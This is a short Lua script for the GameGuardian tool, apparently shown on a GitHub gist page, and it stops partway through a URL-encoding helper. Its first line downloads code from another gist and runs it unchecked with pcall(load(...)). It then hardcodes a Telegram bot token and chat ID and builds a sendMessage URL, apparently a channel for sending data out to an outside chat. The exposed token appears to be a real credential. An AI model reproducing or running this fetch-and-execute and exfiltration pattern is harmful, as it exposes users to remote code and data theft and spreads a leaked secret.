This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| API=gg.makeRequest('https://gist.githubusercontent.com/fmxr044/ad48640b175553b83c00a76b95ff6684/raw/offset_data').content pcall(load(API)) | |
| local BOT_TOKEN = "8325957359:AAHUX505Xs17id2pT-djxgZYQJdIWBfR5Yg" | |
| local CHAT_ID = "-1003012257321" | |
| local API_URL = "https://api.telegram.org/bot" .. BOT_TOKEN .. "/sendMessage" | |
| local function urlencode(str) | |
| if str == nil then return "" end | |
| str = tostring(str) | |
| str = str:gsub("\n", "%%0A") | |
| str = str:gsub("([^%w _%%%-%.~])", function(c) | |
| return string.format("%%%02X", string.byte(c)) |